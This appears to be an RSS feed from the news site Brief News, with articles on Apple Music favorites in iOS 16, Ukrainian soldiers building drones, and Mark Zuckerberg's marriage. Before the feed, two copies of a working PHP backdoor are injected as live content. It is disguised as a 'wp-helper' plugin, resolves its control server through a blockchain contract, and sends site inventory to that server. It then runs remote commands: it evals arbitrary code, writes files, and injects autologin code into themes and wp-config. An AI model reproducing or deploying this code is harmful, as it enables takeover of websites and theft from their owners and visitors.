// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); their – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 27 Sep 2022 15:58:04 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png their – Brief News https://briefnews.eu 32 32 With iOS 16, you can ‘favorite’ artists in Apple Music to easily see their music and new releases — here’s how to do it https://briefnews.eu/with-ios-16-you-can-favorite-artists-in-apple-music-to-easily-see-their-music-and-new-releases-heres-how-to-do-it/ https://briefnews.eu/with-ios-16-you-can-favorite-artists-in-apple-music-to-easily-see-their-music-and-new-releases-heres-how-to-do-it/#respond Tue, 27 Sep 2022 15:58:04 +0000 https://briefnews.eu/with-ios-16-you-can-favorite-artists-in-apple-music-to-easily-see-their-music-and-new-releases-heres-how-to-do-it/ woman with wireless headphones holding phone
iOS 16 lets you "favorite" artists to better track them in Apple Music.

brusinski/Getty

  • You can now add your favorite artists to Apple Music for easier browsing and to get notifications about new releases.
  • To add a favorite, tap the Star icon on the artist's page.
  • You can find a list of all your favorite artists on the Listen Now page.

If you use music services like Spotify and Tidal, you may appreciate the way you can add artists as favorites, which makes it easy to quickly browse to music you want to listen to. Starting in iOS 16, you can add favorite artists in Apple Music as well. When you set a favorite artist, you can find them quickly on the Listen Now tab as well as get notifications about new releases. 

To use favorites in Apple Music, your iPhone needs to be running iOS 16 or later. You should check your version of iOS and update your iPhone if needed.

How to add your favorite artists in Apple Music

1. Start the Apple Music app.

2. Tap Search at the bottom of the page and then tap the Apple Music tab at the top.

The Apple Music app on iPhone.
Search or browse for the artist you want to make a favorite.

Dave Johnson

3. Search for the name of an artist you want to favorite and tap in the search results when it appears. 

4. Tap the Star icon at the top of the page. 

The Apple Music app on iPhone.
On the artist's page, tap the Star icon to make it a favorite.

Dave Johnson

If this is the first time you're adding a favorite, you might see a window asking if you want to be notified about new releases from your favorite artists. If you do, tap Turn On.  

How to see your favorites in Apple Music

Once you add a few artists as favorites, you might want to use this list of artists as a way to quickly browse for music. To see your favorites, tap Listen Now at the bottom of the screen and then scroll down to the Favorite Artists section. You can tap an artist if you see what you're looking for, or tap Favorite Artists and browse the complete list. 

The Apple Music app on iPhone.
Apple Music shows you all your favorite artists on the Listen Now page, though you may need to scroll a ways down the page to find it.

Dave Johnson

How to remove favorite artists from Apple Music

It's entirely possible to favorite an artist by mistake or get bored with their music and decide you'd like to remove the artist from your list of favorites. Removing a favorite is essentially the same as marking a favorite, only in reverse.

First, find the favorite artist you want to remove. You can do this by using the Search icon or by browsing via the Favorite Artists section on the Listen Now page. Once you've arrived on the artist's page, tap the Star icon at the top. The star should be deselected and the artist will be removed from your list of favorites.

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]]> https://briefnews.eu/with-ios-16-you-can-favorite-artists-in-apple-music-to-easily-see-their-music-and-new-releases-heres-how-to-do-it/feed/ 0 A group of young Ukrainians near the Donbas war front is making combat drones and bombs inscribed with messages for their Russian enemies: AFP video https://briefnews.eu/a-group-of-young-ukrainians-near-the-donbas-war-front-is-making-combat-drones-and-bombs-inscribed-with-messages-for-their-russian-enemies-afp-video/ https://briefnews.eu/a-group-of-young-ukrainians-near-the-donbas-war-front-is-making-combat-drones-and-bombs-inscribed-with-messages-for-their-russian-enemies-afp-video/#respond Tue, 27 Sep 2022 06:25:22 +0000 https://briefnews.eu/a-group-of-young-ukrainians-near-the-donbas-war-front-is-making-combat-drones-and-bombs-inscribed-with-messages-for-their-russian-enemies-afp-video/ A Ukrainian soldier loads a bomb on a drone in Bakhmut, Donetsk region, on September 25, 2022, amid the Russian invasion of Ukraine.
A group of tech-savvy Ukrainian soldiers is making drones and explosives to be used at the front line of the conflict in the country's Donbas region.

JUAN BARRETO/AFP via Getty Images

  • A team of young soldiers in Ukraine is building drones and explosives to be used on the front lines.
  • They are creating drones loaded with bombs to be used in combat in the Donbas region.
  • Some of the bombs come inscribed with messages like "happy birthday."

A new Agence France-Presse video shows a group of young Ukrainian troops making drones and bombs from a basement close to the front lines of the ongoing conflict in the country's Donbas region.

In the video, a group of around a dozen men in fatigues is seen working on small, remotely-piloted robots. AFP reported that the devices were scavenged from damaged aircraft.

The AFP video, which describes the men as a "group of 20-somethings," also shows a soldier named Varnak, who has been tasked with packing the robots with explosives.

"Their job is to make it move. My job is to make it explode, to fill it with explosives as effectively as possible so that it does the most damage to the enemy, or their tanks, or other military equipment," he told the outlet.

Also seen in the video were bombs made by the team, which come inscribed with personal messages to their Russian enemies, including the sarcastic "happy birthday" and the matter-of-fact "today is a Wednesday, man."

This picture shows bombs ready to be mounted on a drone in Bakhmut, Donetsk region, on September 25, 2022, amid the Russian invasion of Ukraine.
These message-inscribed bombs are meant to be dropped from drones.

JUAN BARRETO/AFP via Getty Images

Ukraine has been wresting large swathes of territory from the Russians, particularly in the Kharkiv region.

However, the skies over the highly-contested eastern Donbas have been the site of a fierce aerial battle, with the Ukrainians leaning on drones created by its fighters — many of whom are tech enthusiasts — to be flown in combat.

The US has also sent thousands of drones to Ukraine for use in the ongoing conflict. The figure includes 121 Phoenix Ghosts, a type of unmanned aerial system that can be launched by front-line troops for single attacks.

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]]> https://briefnews.eu/a-group-of-young-ukrainians-near-the-donbas-war-front-is-making-combat-drones-and-bombs-inscribed-with-messages-for-their-russian-enemies-afp-video/feed/ 0 Inside the 19-year relationship of Meta CEO Mark Zuckerberg and Priscilla Chan, who are about to have their 3rd baby together https://briefnews.eu/inside-the-19-year-relationship-of-meta-ceo-mark-zuckerberg-and-priscilla-chan-who-are-about-to-have-their-3rd-baby-together/ https://briefnews.eu/inside-the-19-year-relationship-of-meta-ceo-mark-zuckerberg-and-priscilla-chan-who-are-about-to-have-their-3rd-baby-together/#respond Fri, 23 Sep 2022 18:55:48 +0000 https://briefnews.eu/inside-the-19-year-relationship-of-meta-ceo-mark-zuckerberg-and-priscilla-chan-who-are-about-to-have-their-3rd-baby-together/ Mark Zuckerberg and Priscilla Chan
Facebook CEO Mark Zuckerberg and Priscilla Chan.

AP Photo/Jeff Chiu

  • Meta CEO Mark Zuckerberg has been married to his wife, Priscilla Chan, since 2012.
  • The couple met during college and have since had two kids together with a third on the way.
  • They've also founded the Chan Zuckerberg Initiative and amassed a real estate empire. 

Meta CEO Mark Zuckerberg may not have gotten an undergrad degree out of Harvard, but he has his time at the university to thank for introducing him to his wife, Priscilla Chan.

The couple met in 2003 at a frat party, and tied the knot in 2012, one day after the IPO of what was then called Facebook.

Over the past two decades, as Zuckerberg has continued to run Meta, the couple founded the Chan Zuckerberg Initiative, pledged millions to philanthropy efforts, started a family, and traveled on vacations abroad, all while buying up big properties in California, Lake Tahoe, and Hawaii.

Here's everything you need to know about the couple, who have been together for nearly 20 years and have two children together — with one more on the way. 

Priscilla Chan and Mark Zuckerberg met in line for the bathroom at a Harvard University party in 2003. Zuckerberg's fraternity, Alpha Epsilon Pi, was hosting a party and Chan, a sophomore student from the Boston area, was there.

harvard university

Scott Eisen/Getty Images

Source: The New Yorker

"He was this nerdy guy who was just a little bit out there," Chan told The New Yorker. "I remember he had these beer glasses that said 'pound include beer dot H.' It’s a tag for C++. It’s like college humor but with a nerdy, computer-science appeal."

Mark Zuckerberg and Priscilla Chan

Scott Olson / Getty

Source: The New Yorker

Chan said that when she first met Zuckerberg, she thought he might get kicked out of school for a prank he pulled: the hot-or-not website ranking the attractiveness of students on campus, called "Facemash," that Zuckerberg notoriously created in his sophomore year at Harvard.

Mark Zuckerberg
Mark Zuckerberg celebrated Facebook's fifteenth birthday with a blog post.

Christophe Morin/IP3/Getty Images

Source: Insider

Zuckerberg was also expecting to get kicked out of Harvard when he met Chan. The party was a farewell bash. In his 2017 commencement address at Harvard, Zuckerberg said his opening line to Chan was: "I'm going to get kicked out in three days, so we need to go on a date quickly."

mark zuckerberg harvard

Brian Snyder/Reuters

Source: Vox

"Without Facemash, I wouldn't have met Priscilla," Zuckerberg said in his Harvard commencement address in 2017. "She's the most important person in my life, so you could say it was the most important thing I built in my time here."

mark zuckerberg commencement harvard
Mark Zuckerberg at Harvard's 2017 commencement.

Steven Senne/AP

Source: Vox

When Zuckerberg took Chan out for the first time, he told her he'd "rather go on a date with [her] than finish his take-home midterm," Chan said in an interview with the "Today Show" in 2014. "The type-A first child in me was appalled."

Priscilla Chan, Mark Zuckerberg's wife, sitting in courtroom looking into distance

Andrew Harnik/AP

Source: Today Show

Zuckerberg officially dropped out of Harvard in the fall of 2005, after his sophomore year, to focus on building Facebook. He moved out to Palo Alto, California, where Facebook opened its first office.

Mark Zuckerberg smiles while standing next to sign that says Facebook with arrow underneath

Paul Sakuma/AP

Source: Harvard Crimson

In 2007, Chan graduated from Harvard, and Zuckerberg was there to celebrate. Chan then followed him to California, and entered medical school at the University of California, San Francisco in 2008. She rented an apartment near Golden Gate Park, where Zuckerberg would visit her most weekends.

harvard students graduation
Students during a graduation ceremony at Harvard University.

Robert Spencer/Stringer/Getty

Source: The New Yorker

